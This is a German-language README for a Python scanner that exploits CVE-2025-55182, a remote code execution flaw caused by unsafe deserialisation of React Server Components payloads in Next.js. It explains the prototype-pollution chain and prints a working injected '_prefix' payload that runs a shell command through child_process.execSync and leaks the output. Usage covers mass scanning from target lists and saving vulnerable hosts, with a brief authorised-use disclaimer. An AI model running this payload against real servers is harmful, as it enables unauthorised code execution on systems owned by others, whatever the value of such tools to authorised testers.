CVE‑2025‑55182 – Next.js RSC Deserialisierungs-RCE-Scanner

Dieses Tool prüft, ob ein Ziel für CVE‑2025‑55182 anfällig ist, einen Remote Code Execution-Fehler, der durch unsichere Handhabung von RSC (React Server Components)-Modell-Payloads in Next.js verursacht wird.
Die Schwachstelle verknüpft Prototype Pollution → Deserialisierungsmissbrauch → serverseitige JavaScript-Ausführung.

Haftungsausschluss: Verwenden Sie dies nur auf Systemen, die Ihnen rechtmäßig gehören oder für die Sie eine ausdrückliche Genehmigung haben. Unberechtigtes Testen = Straftat, Bruder.

🔥 Wie diese Schwachstelle funktioniert

Next.js verarbeitet intern spezielle „Model“-Objekte, die über multipart/form-data gesendet werden.
Wenn ein Angreifer eine bösartige Struktur wie einen gefälschten thenable injiziert, kann er Folgendes manipulieren:

• __proto__
• _response._prefix
• constructor.constructor
• und andere interne Komponenten

Dies führt dazu, dass der Server angreifergesteuertes JavaScript auswertet, was zu vollständiger RCE führt.

📌 Was dieses Skript macht

• Akzeptiert eine einzelne URL (-u) oder eine Liste von Zielen (-l)
• Sendet einen manipulierten Multipart/Deserialisierungs-Payload
• Extrahiert die Befehlsausgabe (id) aus dem Server-Fehler-Digest
• Speichert anfällige Hosts in foxvuln.txt

▶ Verwendung

Einzelne URL

python3 main.py -u https://target.com

Listenmodus

python3 main.py -l list.txt

📦 Payload-Übersicht

Der Payload missbraucht process.mainModule.require('child_process').execSync() über injizierten _prefix:

"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",

Dies zwingt den Server, id auszuführen und das Ergebnis im ausgelösten Digest preiszugeben (da RSC-Fehler absichtlich ein strukturiertes „digest“-Feld zurückgeben).

🧪 Beispielausgabe

Anfälliges Ziel:

[+] Testing: https://victim.com
[VULN] user : uid=1000(www-data)

Nicht anfällig:

[+] Testing: https://secure.com
[NOT VULN]

🗂 Ausgabedatei

Alle bestätigten anfälligen URLs werden gespeichert in:

foxvuln.txt

Format:

https://victim.com => uid=1000(www-data)

🧠 Hinweise

• Funktioniert nur auf Endpunkten, die Next.js RSC-Streaming-Payloads verarbeiten
• Kein Brute-Force von Routen – geht davon aus, dass der Host den POST unter / verarbeitet
• Timeout ist auf 10s pro Host gesetzt
• In Laborumgebungen völlig sicher – aber führen Sie dies nicht auf beliebigen Servern aus, es sei denn, Sie möchten eine Straftat im Schnelldurchlauf begehen